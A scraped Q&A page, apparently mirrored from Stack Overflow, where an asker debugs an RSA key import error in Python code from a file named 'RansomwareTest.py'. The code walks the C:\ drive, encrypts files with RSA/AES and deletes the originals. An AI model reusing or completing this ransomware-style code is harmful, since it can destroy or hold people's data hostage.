添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
慷慨大方的汤圆  ·  python ...·  4 小时前    · 
任性的大脸猫  ·  ERROR: gcloud command ...·  2 小时前    · 
儒雅的生菜  ·  Getting an error ...·  2 小时前    · 
腹黑的足球  ·  5. 密度图和等高线 — ...·  2 月前    · 
奋斗的木瓜  ·  corpus-accu/dataset/bi ...·  5 月前    · 
讲道义的楼房  ·  Linux Bash ...·  10 月前    · 

Related Posts

  • Why embed dimemsion must be divisible by num of heads in MultiheadAttention?
  • python nmap module could not be found
  • How to correctly terminate multiprocessing.Process()?
  • SQLAlachmey: ORM filter to match all items in a list, not any
  • Open source cross platform IDE for python3 with debugger and code completion
  • Getting text from window (notepad)
  • How to replace partial groups in python regex?
  • cv2.imwrite changes color when saving from np.array to JPG
  • How to use a mixin metaclass to modify instance object on initialization
  • Adding to a list and sorting based on price then timestamp
  • global name '...' is not defined
  • Run a continuous script as subprocess 1, until cycle in subprocess 2 is finished
  • SnowflakeSQLException Error code: 390100, Message: Incorrect username or password was specified
  • From array to two new arrays
  • How to pass Null as value to a stored proc to query postgresdb using python?
  • Ezoic report this ad

    Other Popular Tags

    python-3.x

  • UnsupportedOperation: can't do nonzero cur-relative seeks : Python
  • cannot Install libxml2 in virtualenv
  • Conflict between sys.stdin and input() - EOFError: EOF when reading a line
  • How to check if a Chinese character is simplified or traditional in Python 3?
  • struct.error: required argument is not an integer
  • Modifying dictionary inside a function
  • How to hide password characters?
  • TOR with python stem (basic) - 'tor' not in PATH
  • Interpretation of in_channels and out_channels in Conv2D in Pytorch Convolution Neural Networks (CNN)
  • PyInstaller lib not found
  • machine_learning

  • Dealing with multiple categorical inputs and variable-sized groups as inputs to neural network
  • Graph Disconnected when trying to build CNN model with Keras Functional API
  • ML.NET Regression FastTree predictions always return 0
  • Is using the polynomial kernel equivalent to adding features?
  • tensorflow input pipeline & performance - images
  • Gibbs sampling using sklearn package
  • Implementation of REINFORCE for continuous action space (humanoid-v2)?
  • DNN binary classifier's accuracy not increasing
  • Loading data to CNN form OpenCV
  • TypeError: unsupported operand type(s) for -: 'int' and 'StandardScaler
  • For some reason, the code that says:

    private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)
    

    in the decryption function is throwing the error RSA Key format is not supported. It was working recently, and now something has changed to throw the error. Could anyone take a look at my code snippets and help?

    This is the function to create the RSA Keys:

    def RSA_Keys():
    global rsakeycode
    directory = 'C:\\WindowsFiles'
    if os.path.exists(directory):
        print('This action has already been performed')
        return()
    else:
        print('')
    rsakeycode = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(32))
    f = open('keycode.txt', 'w+')
    f.write(rsakeycode)
    f.close()
    print('Generating RSA Keys...')
    key = RSA.generate(4096)
    encrypted_key = key.exportKey(passphrase=rsakeycode, pkcs=8, protection='scryptAndAES128-CBC')
    with open('privatekey.bin', 'wb') as keyfile1:
        keyfile1.write(encrypted_key)
    with open('publickey.bin', 'wb') as keyfile:
        keyfile.write(key.publickey().exportKey())
        if not os.path.exists(directory):
            os.makedirs(directory)
    except Exception as ex:
        print('Can not complete action')
    shutil.move('privatekey.bin', 'C:\\users\\bsmith\\Desktop\\privatekey.bin')
    shutil.move('publickey.bin', 'C:\\WindowsFiles/publickey.bin')
    shutil.move('encrypted_data.txt', 'C:\\WindowsFiles/encrypted_data.txt')
    shutil.move('keycode.txt', 'C:\\users\\bsmith\\Desktop\\keycode.txt')
    print('RSA Keys Created\n')
    return()
    

    This is the code to Encrypt Data:

    def encryption():
    directory = 'C:\\WindowsFiles'
    darray = []
    index = -1
    drives = win32api.GetLogicalDriveStrings()
    count = 1
    if not os.path.exists(directory):
        print('Error: Option 3 Must Be Selected First To Generate Encryption Keys\n')
        user_interface_selection()
    with open('C:\\WindowsFiles/encrypted_data.txt', 'ab') as out_file:
        filename = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(8))
        recipient_key = RSA.import_key(open('C:\\WindowsFiles/publickey.bin').read())
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        filechoice = input('Please input the file for encryption\n')
        for root, dirs, files in os.walk('C:\\', topdown=False):
            for name in files:
                index += 1
                data = (os.path.join(root, name))
                darray.append(data)
                if filechoice in data:
                    print(darray[index])
                    if darray[index].endswith(".lnk"):
                      print("fail")
                    elif darray[index].endswith(".LNK"):
                      print("fail")
                    elif darray[index].endswith(".txt"):
                      print(index)         
                      newfile = open(darray[index],'rb')
                      data = newfile.read()
                      print(data)
                      ciphertext, tag = cipher_aes.encrypt_and_digest(data)
                      out_file.write(cipher_aes.nonce)
                      out_file.write(tag)
                      out_file.write(ciphertext)
                      out_file.close()
                      newfile.close()
                      shutil.move('C:\\WindowsFiles/encrypted_data.txt','C:\\WindowsFiles/' + filename + '.txt')
                    file = darray[index]
    deleteorig(file)
    

    And this is the code to decrypt data:

    def decryption():
    privdirec = 'C:\\users\\bsmith\\Desktop\\privatekey.bin'
    count = 0
    farray = []
    index = 0
    for file in os.listdir("C:\\WindowsFiles"):
        if file.endswith(".txt"):
            count += 1
            print(count,end='')
            print(':',end='')
            print(os.path.join("C:\\WindowsFiles", file))
            farray.append(file)
            print(farray[index])
            index += 1
    selection = input('Please enter the number of file you wish to decrypt\n')
    if selection > str(count):
        print("This is not a valid option.")
    elif int(selection) < 1:
        print("This is not a valid option.")
    if selection <= str(count) and int(selection) > 0:
        print("Decrypting file")
        index = int(selection) - 1
        file = os.path.join("C:\\WindowsFiles",farray[index])
        print(file)
        with open(file, 'rb') as fobj:
            private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)
            enc_session_key, nonce, tag, ciphertext = [fobj.read(x)
                                                      for x in
                                                       (private_key.size_in_bytes(),
                                                               16,16,-1)]
            cipher_rsa = PKCS1_OAEP.new(private_key)
            session_key = cipher_rsa.decrypt(enc_session_key)
            cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
            data = cipher_aes.decrypt_and_verify(ciphertext, tag)
        print(data)
        file.close()
    

    Error: ValueError: RSA key format is not supported

    Full Error:

    File "C:\Python\RansomwareTest.py", line 702, in decryption private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)
    File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 736, in import_key return _import_keyDER(der, passphrase)
    File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 679, in _import_keyDER raise ValueError("RSA key format is not supported") ValueError: RSA key format is not supported
                                            

    I had the same error. After debugging I found that the format of the key string matters (e.g., newline character at the beginning of the key string will lead to this error). The following format worked for me:

    "-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: AES-128-CBC,9F8BFD6BCECEBE3EAC4618A8628B6956\n<here goes your key split into multiple lines by \n>\n-----END RSA PRIVATE KEY-----\n"
    

    Please try to output your unencoded (non-binary) key and see if newline characters in it match the provided example. I tested with Python 3.6.9

    Related Query

  • Encrypting json with pem file in python giving RSA key format is not supported
  • Python Cryptography: RSA Key Format is not supported
  • python - cryptography - generate new RSA private key
  • python opencv format not supported
  • Python Diffie-Hellman exchange cryptography library. Shared key not the same
  • Python RSA key, recieved the key but getting error "This is not a private key"
  • TypeError: '<' not supported between instances Python
  • python 3 will not find key in dict from msgpack
  • TypeError: '<' not supported between instances of 'State' and 'State' PYTHON 3
  • Why is python format function rounding off certain numbers but not others?
  • Werkzeug on Python 3 raises "< not supported between instances of str and int"
  • Getting a Passthrough is not supported GL is disabled, even though it is enabled; unable to run web scraping python script
  • Python 3 changing value of dictionary key in for loop not working
  • function not working when key value is assigned directly from dictionary to a variable python
  • Registry key changes with Python winreg not taking effect, but not throwing errors
  • python extracting specific key and value from json not working
  • Compare the keys of two dictionaries and create a dictionary with key, value pairs that does not match the key in the other dictionary - Python
  • python 3.8 flask apache 2.4 wsgi multiprocessing RuntimeError: fork not supported for subinterpreters
  • How to detect key release with python ( not keypress)?
  • Is there a way to update the value of a Python dictionary but not add the key if it doesn't exist?
  • Python Xlsxwriter Conditional Format 'containing' Criteria is not working
  • Is dbm.gnu not supported on Python 3.7 Windows?
  • RSA key encryption issue in python 3
  • Time Data Does Not Match Format Python Error
  • Python - change sought after dictionary key when not found
  • How to write a unicode character to a file that is not supported by utf-8, python
  • Python cryptography -- How to include X509 extensions for "Subject Key Identifier" and "Authority Key Identifier" in a self-signed cert?
  • TAB key not working in python auto-complete
  • Unable to send email from Python due to Address Family not supported Error
  • TAB key is not working in my code in PYQT5 and Python
  • Key (0, 0) is not a string when dumping json to a file- python
  • How do I resolve "'<' not supported between instances of 'int' and 'NoneType'" in python 3?
  • python Tkinter focus_set() is not working properly on capturing key press event
  • Import String Public Key to RSA Public Key in Python
  • %d format is required not str error in tkinter python to mysql database
  • Python 3.6 - scipy raising error: NotImplementedError: input type '<U32' not supported
  • Python Cryptography Generate Key from Password Error
  • Missing attributes are not caught by the Python supported IDEs
  • Could not deserialize key data error while loading openssl private key with cryptography module in Python3
  • Python cryptography RSASSA PSS signature returns not valid when check with pycrypto APIs
  • sublist parameters are not supported in python 3
  • Arrays not supported in Bigquery Python API
  • Key Error in Python string with format call
  • How do you break a Loop with a key press without using a module that is not built in to python
  • Date does not match format in python datetime.strptime
  • SSL error in python request which is not caused by bad proxy format
  • TypeError: '<' not supported between instances of 'int' and 'Toy' Python
  • Why Python format function is not working?
  • Python cryptography Fernet.generate_key() key length
  • Get Common Key values in Json Format Python
  • More Query from same tag

  • Python 3, module 'itertools' has no attribute 'ifilter'
  •